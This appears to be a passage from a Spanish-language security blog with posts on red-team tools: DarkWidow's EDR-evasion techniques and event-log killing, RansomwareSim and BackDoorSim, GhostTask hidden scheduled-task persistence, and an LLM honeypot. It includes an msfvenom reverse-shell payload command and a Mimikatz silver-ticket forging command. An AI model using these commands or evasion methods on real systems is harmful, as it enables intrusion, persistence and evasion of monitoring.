font-family: "Google Sans", "Helvetica Neue", sans-serif; font-size: 16px; margin: 4px 0px; padding-inline-start: 1.125rem;"><li data-sourcepos="13:1-13:87" style="margin-bottom: 0px;">Esta técnica se basa en un enfoque similar al utilizado por el rootkit TartarusGate.</li><li data-sourcepos="14:1-14:234" style="margin-bottom: 0px;">Implica <span style="font-weight: 700;">ordenar las direcciones de las llamadas al sistema</span> de una manera específica (posiblemente utilizando un algoritmo SSN - Sorting Serial Numbers) para <span style="font-weight: 700;">dificultar su identificación por herramientas de análisis estático</span>.</li><li data-sourcepos="15:1-16:0" style="margin-bottom: 0px;">Sin embargo, es importante aclarar que <span style="font-weight: 700;">DarkWidow no utiliza directamente a TartarusGate</span>, solo se inspira en un aspecto de su funcionamiento.</li></ul><p data-sourcepos="17:1-17:104" style="background-color: white; color: #1f1f1f; font-family: "Google Sans", "Helvetica Neue", sans-serif; font-size: 16px; margin: 1rem 0px; white-space-collapse: preserve; word-break: break-word;"><span style="font-weight: 700;">3. Remote Process Injection via APC Early Bird (Inyección remota de código mediante APC Early Bird):</span></p><ul data-sourcepos="19:1-24:0" style="background-color: white; color: #1f1f1f; font-family: "Google Sans", "Helvetica Neue", sans-serif; font-size: 16px; margin: 4px 0px; padding-inline-start: 1.125rem;"><li data-sourcepos="19:1-19:172" style="margin-bottom: 0px;">Esta técnica aprovecha una funcionalidad legítima del sistema operativo llamada <span style="font-weight: 700;">APC (Asynchronous Procedure Call)</span> para inyectar código malicioso en un proceso remoto.</li><li data-sourcepos="20:1-20:103" style="margin-bottom: 0px;">Se crea un proceso "víctima" (generalmente legítimo) y se suspende antes de que comience a funcionar.</li><li data-sourcepos="21:1-21:80" style="margin-bottom: 0px;">Se asigna memoria dentro del proceso y se escribe el código malicioso en ella.</li><li data-sourcepos="22:1-22:56" style="margin-bottom: 0px;">Se crea una rutina APC que apunta al código malicioso.</li><li data-sourcepos="23:1-24:0" style="margin-bottom: 0px;">Al reanudarse el proceso "víctima", se ejecuta la rutina APC, inyectando el código malicioso <span style="font-weight: 700;">antes de que se inicien las protecciones del software de seguridad</span>.</li></ul><p data-sourcepos="25:1-25:112" style="background-color: white; color: #1f1f1f; font-family: "Google Sans", "Helvetica Neue", sans-serif; font-size: 16px; margin: 1rem 0px; white-space-collapse: preserve; word-break: break-word;"><span style="font-weight: 700;">4. Spawns a sacrificial Process as target process (crea un proceso de sacrificio como proceso objetivo):</span></p><ul data-sourcepos="27:1-29:0" style="background-color: white; color: #1f1f1f; font-family: "Google Sans", "Helvetica Neue", sans-serif; font-size: 16px; margin: 4px 0px; padding-inline-start: 1.125rem;"><li data-sourcepos="27:1-27:147" style="margin-bottom: 0px;">DarkWidow crea un proceso "sacrificio" como objetivo para <span style="font-weight: 700;">desviar la atención de las herramientas de detección y respuesta a endpoints (EDR)</span>.</li><li data-sourcepos="28:1-29:0" style="margin-bottom: 0px;">Este proceso "sacrificio" puede ser legítimo o malicioso, pero su principal objetivo es <span style="font-weight: 700;">atraer la atención</span> mientras el malware real realiza sus actividades maliciosas en segundo plano.</li></ul><p data-sourcepos="30:1-30:122" style="background-color: white; color: #1f1f1f; font-family: "Google Sans", "Helvetica Neue", sans-serif; font-size: 16px; margin: 1rem 0px; white-space-collapse: preserve; word-break: break-word;"><span style="font-weight: 700;">5. (ACG+BlockDll) mitigation policy on spawned process (Política de mitigación ACG+BlockDll en el proceso engendrado):</span></p><ul data-sourcepos="32:1-34:0" style="background-color: white; color: #1f1f1f; font-family: "Google Sans", "Helvetica Neue", sans-serif; font-size: 16px; margin: 4px 0px; padding-inline-start: 1.125rem;"><li data-sourcepos="32:1-32:133" style="margin-bottom: 0px;">DarkWidow implementa la política de mitigación <span style="font-weight: 700;">ACG (Arbitrary Code Guard)</span> y <span style="font-weight: 700;">BlockDll</span> en el proceso "sacrificio" engendrado.</li><li data-sourcepos="33:1-34:0" style="margin-bottom: 0px;">Estas políticas de mitigación intentan <span style="font-weight: 700;">dificultar que las herramientas EDR inyecten su propio código en el proceso</span>, lo que podría ayudar a <span style="font-weight: 700;">ocultar la actividad maliciosa</span> de DarkWidow.</li></ul><p data-sourcepos="35:1-35:44" style="background-color: white; color: #1f1f1f; font-family: "Google Sans", "Helvetica Neue", sans-serif; font-size: 16px; margin: 1rem 0px; white-space-collapse: preserve; word-break: break-word;"><span style="font-weight: 700;">6. PPID spoofing (Suplantación de PPID):</span></p><ul data-sourcepos="37:1-39:0" style="background-color: white; color: #1f1f1f; font-family: "Google Sans", "Helvetica Neue", sans-serif; font-size: 16px; margin: 4px 0px; padding-inline-start: 1.125rem;"><li data-sourcepos="37:1-37:152" style="margin-bottom: 0px;">DarkWidow falsifica el identificador de proceso padre (PPID) del proceso malicioso para <span style="font-weight: 700;">dificultar su rastreo por los investigadores de seguridad</span>.</li><li data-sourcepos="38:1-39:0" style="margin-bottom: 0px;">Al modificar el PPID, el malware parece originarse en un proceso legítimo, lo que <span style="font-weight: 700;">puede confundir las herramientas de análisis</span>.</li></ul><p data-sourcepos="40:1-40:60" style="background-color: white; color: #1f1f1f; font-family: "Google Sans", "Helvetica Neue", sans-serif; font-size: 16px; margin: 1rem 0px; white-space-collapse: preserve; word-break: break-word;"><span style="font-weight: 700;">7. Api resolving from TIB (Resolución de API desde TIB):</span></p><ul data-sourcepos="42:1-45:0" style="background-color: white; color: #1f1f1f; font-family: "Google Sans", "Helvetica Neue", sans-serif; font-size: 16px; margin: 4px 0px; padding-inline-start: 1.125rem;"><li data-sourcepos="42:1-42:188" style="margin-bottom: 0px;">En lugar de llamar directamente a las API del sistema operativo por su nombre, DarkWidow obtiene sus direcciones <span style="font-weight: 700;">consultando la Tabla de importación de subprocesos (TIB)</span> del proceso.</li><li data-sourcepos="43:1-43:94" style="margin-bottom: 0px;">La TIB contiene información sobre las DLL cargadas en el proceso y sus funciones exportadas.</li><li data-sourcepos="44:1-45:0" style="margin-bottom: 0px;">Al resolver las API desde la TIB, DarkWidow evita la necesidad de conocer las direcciones exactas de las API, lo que dificulta su detección.</li></ul><p data-sourcepos="46:1-46:36" style="background-color: white; color: #1f1f1f; font-family: "Google Sans", "Helvetica Neue", sans-serif; font-size: 16px; margin: 1rem 0px; white-space-collapse: preserve; word-break: break-word;"><span style="font-weight: 700;">8. API hashing (Hashing de API):</span></p><ul data-sourcepos="7:1-9:0" style="background-color: white; color: #1f1f1f; font-family: "Google Sans", "Helvetica Neue", sans-serif; font-size: 16px; margin: 4px 0px; padding-inline-start: 1.125rem; text-align: left;"><li data-sourcepos="48:1-48:93" style="margin-bottom: 0px;">DarkWidow puede implementar un algoritmo de <span style="font-weight: 700;">hashing</span> para las API del sistema operativo.</li><li data-sourcepos="49:1-49:122" style="margin-bottom: 0px;">Esto implica aplicar una función matemática a los nombres o direcciones de las API para generar una cadena única (hash).</li><li data-sourcepos="50:1-51:0" style="margin-bottom: 0px;">Al llamar a las API mediante sus hashes, DarkWidow <span style="font-weight: 700;">dificulta aún más su identificación por herramientas de análisis que buscan patrones específicos de llamadas al sistema</span>.</li></ul><div><span face="Google Sans, Helvetica Neue, sans-serif" style="color: #1f1f1f;"><b><br /></b></span></div><div><span face="Google Sans, Helvetica Neue, sans-serif" style="color: #1f1f1f;"><b><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8XhnsIrNfSenJIwUKzkIDhK4BogaLkCLB9JRMTR2IxCk_At3hb4OnYPzzLv-2yPGcCeKODeOag8Q5nSxComdkzqWg7YSBmLYzv6LCrI2-1Y_Z0VI3YlD9hIeEjXdbH26i3DV-dQT7uX58uiKIzro7CWA8BaYn3-hSOM38KXL3ZNNTHyN7nWojnBliRz6u/s2048/darkwidow2.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="1920" data-original-width="2048" height="188" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8XhnsIrNfSenJIwUKzkIDhK4BogaLkCLB9JRMTR2IxCk_At3hb4OnYPzzLv-2yPGcCeKODeOag8Q5nSxComdkzqWg7YSBmLYzv6LCrI2-1Y_Z0VI3YlD9hIeEjXdbH26i3DV-dQT7uX58uiKIzro7CWA8BaYn3-hSOM38KXL3ZNNTHyN7nWojnBliRz6u/w200-h188/darkwidow2.png" width="200" /></a></div>Bonus</b>: </span><span face=""Google Sans", "Helvetica Neue", sans-serif" style="color: #1f1f1f;">si tienes privilegios de administrador puedes d</span><span face=""Google Sans", "Helvetica Neue", sans-serif" style="color: #1f1f1f;">eshabilitar el registro de eventos eliminando los subprocesos del servicio EventLog. La </span><span face=""Google Sans", "Helvetica Neue", sans-serif" style="color: #1f1f1f;">desventaja es que si se reanudan los subprocesos, todos los eventos que ocurrieron durante la suspensión del event log se registrarán nuevamente. Así que lo que hace DarkWidow es matar todos los </span><span face=""Google Sans", "Helvetica Neue", sans-serif" style="color: #1f1f1f;">subprocesos, es decir, matar todo el proceso (responsable de svchost.exe) creando un CO.</span></div><div><span face=""Google Sans", "Helvetica Neue", sans-serif" style="color: #1f1f1f;"><br /></span></div><div><span face=""Google Sans", "Helvetica Neue", sans-serif" style="color: #1f1f1f;"><b>Uso:</b></span></div><div><pre class="notranslate" style="background-color: #f6f8fa; border-radius: 6px; box-sizing: border-box; color: #1f2328; font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace; font-size: 13.6px; line-height: 1.45; margin-bottom: 0px; margin-top: 0px; overflow-wrap: normal; overflow: auto; padding: 16px;"><code style="background: transparent; border-radius: 6px; border: 0px; box-sizing: border-box; display: inline; font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace; line-height: inherit; margin: 0px; overflow-wrap: normal; overflow: visible; padding: 0px; word-break: normal;">PS C:> .\x64\Release\indirect.exe
[!] Wrong!
[->] Syntax: .\x64\Release\indirect.exe <PPID to spoof></code></pre></div><div><span face=""Google Sans", "Helvetica Neue", sans-serif" style="color: #1f1f1f;"><br /></span></div><div><span face=""Google Sans", "Helvetica Neue", sans-serif" style="color: #1f1f1f;"><b>Demo (MSF shell reversa):</b></span></div><div><pre class="notranslate" style="background-color: #f6f8fa; border-radius: 6px; box-sizing: border-box; line-height: 1.45; margin-bottom: 0px; margin-top: 0px; overflow-wrap: normal; overflow: auto; padding: 16px;"><span face="ui-monospace, SFMono-Regular, SF Mono, Menlo, Consolas, Liberation Mono, monospace" style="color: #1f2328;"><span style="font-size: 13.6px;">msfvenom -p windows/x64/shell_reverse_tcp -ax64 LHOST=192.168.0.114 LPORT=1234 -f csharp</span></span><span face="ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace" style="color: #1f2328; font-size: 13.6px;">
</span></pre></div><div> </div><div class="separator" style="clear: both; text-align: center;"><iframe allowfullscreen='allowfullscreen' webkitallowfullscreen='webkitallowfullscreen' mozallowfullscreen='mozallowfullscreen' width='553' height='356' src='https://www.blogger.com/video.g?token=AD6v5dzzq9lLoeSDpnAaK-lMas18uGOu89TM2PGJw_-54UHz3rBYhrZS-PJPdPjEotg1WKudGS6rAMQpkEAsufheUA' class='b-hbp-video b-uploaded' frameborder='0'></iframe></div><br /><span face=""Google Sans", "Helvetica Neue", sans-serif" style="background-color: white; color: #1f1f1f; font-size: 16px; font-weight: 700;">Repo GitHub: reveng007/DarkWidow:</span><span face=""Google Sans", "Helvetica Neue", sans-serif" style="background-color: white; color: #1f1f1f; font-size: 16px;"> </span><a class="traceable-link" href="https://github.com/reveng007/DarkWidow" rel="noopener noreferrer" style="background-color: white; font-family: "Google Sans", "Helvetica Neue", sans-serif; font-size: 16px;" target="_blank">https://github.com/reveng007/DarkWidow</a><br /><div><span face="Google Sans, Helvetica Neue, sans-serif" style="color: #1f1f1f;"><br /></span></div><p data-sourcepos="10:1-10:19" style="background-color: white; color: #1f1f1f; font-family: "Google Sans", "Helvetica Neue", sans-serif; font-size: 16px; margin: 1rem 0px; word-break: break-word;"> </p>Vicente Motoshttp://www.blogger.com/profile/03053036399006390105noreply@blogger.com0tag:blogger.com,1999:blog-9133539773684103848.post-81716566047618884822024-02-26T23:22:00.003+01:002024-02-26T23:23:10.715+01:00RansomwareSim y BackDoorSim... malware en Python con propósitos educativos<p>Hoy nos traemos una herramienta interesante si no dos. Se trata de RansomwareSim y BackDoorSim, escritas en python por un estudiante llamado Halil Ibrahim Deniz</p><p><b>RansomwareSim</b></p><p>Está diseñado para demostrar cómo el ransomware cifra archivos en un sistema y se comunica con un servidor de comando y control. Entre sus características destaca:</p><p></p><ul style="text-align: left;"><li>Cifra tipos de archivos específicos dentro de un directorio de destino.</li><li>Cambia el fondo de pantalla del escritorio (solo Windows).</li><li>Crea y elimina un archivo README en el escritorio con una nota de rescate simulada.</li><li>Simula la comunicación con un servidor de comando y control para enviar datos del sistema y recibir una clave de descifrado.</li><li>Descifra archivos después de recibir la información correcta.</li></ul><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh97JrteXV6y2Wv2U_dDD165wDgZhpd5ABYzcptKnGdn51JFhGcrW6jMTJ6TOZVCMMMiW2Xt2lH77tGInKpv2aIjTWjihQ08D1YbVZC7q11h6Vipx0G-L4589r7l2VblWidSEJwksigxDyI_2iEF-M6LOq1bTQBFz6EbtxgNaldC2Z3qDJdELBwVr2MLIRm/s1919/RansomWareSim.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="973" data-original-width="1919" height="324" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh97JrteXV6y2Wv2U_dDD165wDgZhpd5ABYzcptKnGdn51JFhGcrW6jMTJ6TOZVCMMMiW2Xt2lH77tGInKpv2aIjTWjihQ08D1YbVZC7q11h6Vipx0G-L4589r7l2VblWidSEJwksigxDyI_2iEF-M6LOq1bTQBFz6EbtxgNaldC2Z3qDJdELBwVr2MLIRm/w640-h324/RansomWareSim.png" width="640" /></a></div><div style="text-align: center;"><a href="https://github.com/HalilDeniz/RansomwareSim" target="_blank">https://github.com/HalilDeniz/RansomwareSim</a></div><p style="text-align: left;"><b>BackDoorSim</b></p><p>Se trata de un RAT con propósitos educativos que nos permitirá:</p><p></p><ul style="text-align: left;"><li>Transferencia de archivos: carga y descarga archivos entre el servidor y el cliente.</li><li>Captura de pantalla: toma capturas de pantalla del sistema del cliente.</li><li>Recopilación de información del sistema: recupera información detallada del sistema y del software de seguridad.</li><li>Acceso a la cámara: Captura imágenes desde la cámara web del cliente.</li><li>Notificaciones: envía y muestra notificaciones en el sistema cliente.</li><li>Menú de ayuda: fácil acceso a la información y el uso de los comandos.</li></ul><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjROEr9qFsttEy9MlJWRyyX2wBk5lOfK7bz15vqUvdQXzFdoHnQiibBbYicPptyJlWLGSPRqC1OWDGrmkkd4lHLbJhcPy0hblM_RZ3utHCzWu7CZT_8Hypr8Yjuwvuy7F6xrQlDYjKyN_DGOmE9-ZyCLCvPJAdWB7M2XS3Zc-uj8dV7TWnN3UNASzjf2wNI/s1905/BackDoorSim.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="955" data-original-width="1905" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjROEr9qFsttEy9MlJWRyyX2wBk5lOfK7bz15vqUvdQXzFdoHnQiibBbYicPptyJlWLGSPRqC1OWDGrmkkd4lHLbJhcPy0hblM_RZ3utHCzWu7CZT_8Hypr8Yjuwvuy7F6xrQlDYjKyN_DGOmE9-ZyCLCvPJAdWB7M2XS3Zc-uj8dV7TWnN3UNASzjf2wNI/w640-h320/BackDoorSim.png" width="640" /></a></div><div style="text-align: center;"><a href="https://github.com/HalilDeniz/BackDoorSim" target="_blank">https://github.com/HalilDeniz/BackDoorSim</a></div><p></p>Vicente Motoshttp://www.blogger.com/profile/03053036399006390105noreply@blogger.com0tag:blogger.com,1999:blog-9133539773684103848.post-30563438289583940622024-02-14T00:37:00.006+01:002024-02-14T00:39:02.707+01:00GhostTask: crea tareas programadas de forma sigilosa manipulando el registro<p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcfIk6APe8Qm7hgQIWW6jY-ltdRxIrqO9t_3je6GhTZCg87QR6ykDHzZ2ZMovKfz3dVr33xCb04IT6hys5OygkVvZzGzto5jSrumoVcUBBwEUfc446gPQemyNWhYihludzycacSaOa9nbHSCiOAirtnqWyV8NuAuzeIVsDCIXpXP37rkefmoMw6h7UlaMQ/s2304/hackerdesk.jpg" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" data-original-height="2304" data-original-width="1664" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcfIk6APe8Qm7hgQIWW6jY-ltdRxIrqO9t_3je6GhTZCg87QR6ykDHzZ2ZMovKfz3dVr33xCb04IT6hys5OygkVvZzGzto5jSrumoVcUBBwEUfc446gPQemyNWhYihludzycacSaOa9nbHSCiOAirtnqWyV8NuAuzeIVsDCIXpXP37rkefmoMw6h7UlaMQ/s320/hackerdesk.jpg" width="231" /></a></div>Si bien el uso de tareas programadas como medio de persistencia no es un enfoque novedoso, los atacantes han ido mejorando sus técnicas para ocultar sus tareas maliciosas. Un método notable consiste en <a href="https://www.microsoft.com/en-us/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/" target="_blank">eliminar la clave de registro SD</a>, que representa el descriptor de seguridad, ocultando así la tarea programada de las investigaciones forenses. Inspirándose en la investigación de WithSecure sobre la manipulación o <a href="https://labs.withsecure.com/publications/scheduled-task-tampering" target="_blank">tampering de tareas programadas</a>, explicaron la viabilidad de crear una tarea programada únicamente mediante la manipulación de la clave de registro. Este enfoque puede evitar la generación de registros de eventos de creación de tareas programadas, como <span style="background-color: #cccccc;"><b>4698</b></span> y <b style="background-color: #cccccc;">106</b>, ofreciendo un método más sigiloso para establecer la persistencia.<p></p><p>A raíz de esto <b>Chris Au aka netero1010</b> ha desarrollado una PoC para demostrar la creación de tareas programadas mediante la manipulación directa del registro. Se trata de la herramienta <b>GhostTask</b> que ofrece las siguientes características:</p><p></p><ul style="text-align: left;"><li>Crea tareas programadas con un descriptor de seguridad restrictivo, haciéndolas invisibles para todos los usuarios.</li><li>Establece tareas programadas directamente a través del registro, evitando la generación de registros de eventos estándar de Windows.</li><li>Proporciona soporte para modificar tareas programadas existentes sin generar registros de eventos de Windows.</li><li>Admite la creación remota de tareas programadas (mediante el uso de Silver Ticket especialmente diseñado).</li><li>Admite la ejecución en C2 con el módulo de ejecución PE en memoria (por ejemplo, memexec de BruteRatel)</li></ul><p></p><p><b>Limitaciones</b></p><p></p><ul style="text-align: left;"><li>Requiere privilegios elevados: La creación y modificación de tareas programadas con GhostTask requiere privilegios de "NT AUTHORITY/SYSTEM".</li><li>Reinicio del sistema: Para que las tareas creadas con GhostPack se activen, es necesario reiniciar el sistema o esperar al siguiente reinicio programado.</li></ul><p></p><p><b>Compilación</b></p><pre class="prettyprint" style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: "Andale Mono", "Lucida Console", Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>x86_64-w64-mingw32-gcc GhostTask.c -o GhostTask.exe -lrpcrt4
</code></pre><b>
Uso
</b><pre class="prettyprint" style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: "Andale Mono", "Lucida Console", Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>Usage: GhostTask.exe <hostname localhost=""> <operation> <taskname> <program> <argument> <username> <scheduletype> <time second=""> <day>
- hostname/localhost: Remote computer name or "localhost".
- operation: add/delete
- add: Create or modify a scheduled task using only registry keys. Requires restarting the "Schedule" service to load the task definition.
- delete: Delete a scheduled task. Requires restarting the "Schedule" service to offload the task.
- taskname: Name of the scheduled task.ghosttask-crea-tareas-programadas
- program: Program to be executed.
- argument: Arguments for the program.
- username: User account under which the scheduled task will run.
- scheduletype: Supported triggers: second, daily, weekly, and logon.
- time/second (applicable for 'second', 'daily', and 'weekly' triggers):
- For 'second' trigger: Specify the frequency in seconds for task execution.
- For 'daily' and 'weekly' triggers: Specify the exact time (e.g., 22:30) for task execution.
- day (applicable for 'weekly' trigger): Days to execute the scheduled task (e.g., monday, thursday).
</day></time></scheduletype></username></argument></program></taskname></operation></hostname></code></pre><b><div><b><br /></b></div>
Ejemplos</b><div><div><div><div>1. Crea una nueva tarea programada que llamará a notepad.exe todos los lunes y jueves a las 2:12 p.m.:
<pre class="prettyprint" style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: "Andale Mono", "Lucida Console", Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>GhostTask.exe localhost add demo "cmd.exe" "/c notepad.exe" LAB\Administrator weekly 14:12 monday,thursday
</code></pre><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfGbwqXMhBLGxLnfyrG5UirzKvXqLHoZBuiShzRrroLfnft3a1DKdXFpp1JxvUsujzb3z46VLm2hbpUC-xxRjW0_A01VWcGfJRARCPs4eD_OpMYPvK9QLk9cyxl_f4-azoe_UH1zjdDYfGouaX3v2g_p3OLUnYeogQTyPNpeFb47KMIY7nLuCitGGNHwKQ/s2328/GhostTask_example1.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="580" data-original-width="2328" height="160" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfGbwqXMhBLGxLnfyrG5UirzKvXqLHoZBuiShzRrroLfnft3a1DKdXFpp1JxvUsujzb3z46VLm2hbpUC-xxRjW0_A01VWcGfJRARCPs4eD_OpMYPvK9QLk9cyxl_f4-azoe_UH1zjdDYfGouaX3v2g_p3OLUnYeogQTyPNpeFb47KMIY7nLuCitGGNHwKQ/w640-h160/GhostTask_example1.png" width="640" /></a></div><br /><div>2. Modifica una tarea programada existente con un nuevo tipo de programación, usuario y programa:</div><pre class="prettyprint" style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: "Andale Mono", "Lucida Console", Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>GhostTask.exe localhost add "Microsoft\Office\Office Automatic Updates 2.0" "cmd.exe" "/c notepad.exe" LAB\employee001 daily 20:37
</code></pre><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhpNoWD8Cu5cd3hxUgniupSbqJ-dbeS8rpxiN-KPK8QRjPd1pmTHKsLoZhmjY1tAPxHo_OnweEx4U1P6x1d6UhLgcpuHHbd14li4ZvvKmftWqQKPtZQQHN9q2iXxSnouyWe0VRdYy1EJsyxX2mUxYVqXK1ZRdH_kmDM2T0lqJ4BTMgwCGQGsYc3IdxHJXu/s2208/GhostTask_example2.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="533" data-original-width="2208" height="154" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhpNoWD8Cu5cd3hxUgniupSbqJ-dbeS8rpxiN-KPK8QRjPd1pmTHKsLoZhmjY1tAPxHo_OnweEx4U1P6x1d6UhLgcpuHHbd14li4ZvvKmftWqQKPtZQQHN9q2iXxSnouyWe0VRdYy1EJsyxX2mUxYVqXK1ZRdH_kmDM2T0lqJ4BTMgwCGQGsYc3IdxHJXu/w640-h154/GhostTask_example2.png" width="640" /></a></div><div><br /></div>
3. Crea una nueva tarea programada en una computadora remota: </div><div>Como se analiza en el blog WithSecure (<a href="https://labs.withsecure.com/publications/scheduled-task-tampering" target="_blank">Extra: sección Movimiento lateral</a>), se puede utilizar un Silver Ticket especialmente diseñado para modificar claves de registro asociadas a tareas programadas en archivos.</div><div>Esto le permite crear una tarea programada de forma remota.
<pre class="prettyprint" style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: "Andale Mono", "Lucida Console", Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>kerberos::golden /domain:LAB.CORP /sid:S-1-5-21-1111111111-1111111111-1111111111 /aes256:[aes256hash] /user:Administrator /service:cifs /target:dc01.lab.corp /sids:S-1-5-18 /endin:600 /renewmax:10080
</code></pre>
Crea una nueva tarea programada en el servidor DC01 de forma remota, que iniciará notepad.exe todos los días a las 3:19 p.m.:
<pre class="prettyprint" style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: "Andale Mono", "Lucida Console", Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>GhostTask.exe DC01.lab.corp add demo "cmd.exe" "/c notepad.exe" LAB\Administrator daily 15:19
</code></pre><b><div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZphwAEOOHtvlAARDIsg8sKv0BXvLG45FPy84zuCSdwlUkQcbTrDYg2eL8skX4hs0P4fbBDho_u1e4q0QaO1PR-13iIT-XwoS88eTG-7R8wuK56hylMY0xU3tnwUrWUVEIZP6BL1_1v9iD3dT1VpyOIHXhC3CS5i6MmZtnyEyBhg4dWvnr10unEMXuDgXm/s3804/GhostTask_example3.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1612" data-original-width="3804" height="272" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZphwAEOOHtvlAARDIsg8sKv0BXvLG45FPy84zuCSdwlUkQcbTrDYg2eL8skX4hs0P4fbBDho_u1e4q0QaO1PR-13iIT-XwoS88eTG-7R8wuK56hylMY0xU3tnwUrWUVEIZP6BL1_1v9iD3dT1VpyOIHXhC3CS5i6MmZtnyEyBhg4dWvnr10unEMXuDgXm/w640-h272/GhostTask_example3.png" width="640" /></a></div><b><div><b><br /></b></div>Proyecto</b>: <a href="https://github.com/netero1010/GhostTask">https://github.com/netero1010/GhostTask</a></div></b></div></div></div></div>Vicente Motoshttp://www.blogger.com/profile/03053036399006390105noreply@blogger.com0tag:blogger.com,1999:blog-9133539773684103848.post-77889806932219278062024-02-04T17:47:00.000+01:002024-02-04T17:47:00.317+01:00Galah, un honeypot que usa OpenAI<p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGL8S_Prwi86BecjBahLnwOqmnKZ5zpZX1eaUtLh5k8Kd4-PkaWQqLPrqPazadjLp4AD2Pel-WEOiTNWXPhy9Rg1G7jKJksAsGlwG-8xGGVn6MFS_hRBg5ZuovRONy4cym1CGNBVXr9ot0acCKnwFeeCjZRgJQO8PQnEBGr5nDWlf_0ohWLKkdPnm6qBpQ/s1024/galah.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" data-original-height="1024" data-original-width="1024" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGL8S_Prwi86BecjBahLnwOqmnKZ5zpZX1eaUtLh5k8Kd4-PkaWQqLPrqPazadjLp4AD2Pel-WEOiTNWXPhy9Rg1G7jKJksAsGlwG-8xGGVn6MFS_hRBg5ZuovRONy4cym1CGNBVXr9ot0acCKnwFeeCjZRgJQO8PQnEBGr5nDWlf_0ohWLKkdPnm6qBpQ/w320-h320/galah.png" width="320" /></a></div>Galah es un honeypot web impulsado por LLM (Large Language Model), actualmente compatible con la API OpenAI, que es capaz de imitar varias aplicaciones y responder dinámicamente a solicitudes HTTP arbitrarias. <p></p><p>A diferencia de los honeypots web tradicionales que se basan en un método manual y limitante para emular numerosas aplicaciones web o vulnerabilidades, Galah adopta un enfoque novedoso. Este honeypot impulsado por LLM imita varias aplicaciones web al crear dinámicamente respuestas relevantes (y ocasionalmente tontas), incluidos encabezados HTTP y contenido del body, a solicitudes HTTP arbitrarias.</p><p>Galah implementa un caché para las respuestas generadas por LLM (la duración del caché se puede personalizar en el archivo de configuración) para evitar generar múltiples respuestas para la misma solicitud y reducir el costo de la API de OpenAI. El caché almacena respuestas por puerto, lo que significa que si investiga un puerto específico del honeypot, la respuesta generada no se devolverá para la misma solicitud en un puerto diferente.</p><p><b>Mejoras futuras</b></p><p></p><ul style="text-align: left;"><li>Respuesta basada en reglas: la nueva versión de Galah empleará un enfoque dinámico basado en reglas, agregando más control sobre la generación de respuestas. Esto reducirá aún más el uso de la API OpenAI y aumentará la precisión de las respuestas generadas.</li><li>Base de datos de respuestas: permitirá generar e importar una base de datos de respuestas. Esto garantiza que el honeypot solo recurra a la API de OpenAI para solicitudes nuevas o desconocidas. </li><li>Soporte para otros LLM.</li></ul><p></p><p><b>Uso</b></p><p></p><ul style="text-align: left;"><li>Asegúrate de tener instalada la versión 1.20+ de Go.</li><li>Crea una clave API de OpenAI desde aquí.</li><li>Si deseas servir a través de HTTPS, genera certificados TLS.</li><li>Clona el repositorio e instala las dependencias.</li><li>Actualiza el archivo config.yaml.</li><li>¡Construye y ejecuta el binario Go!</li></ul><div><a name='more'></a><pre class="notranslate" style="background-color: #f6f8fa; border-radius: 6px; box-sizing: border-box; color: #1f2328; font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace; font-size: 13.6px; line-height: 1.45; margin-bottom: 0px; margin-top: 0px; overflow-wrap: normal; overflow: auto; padding: 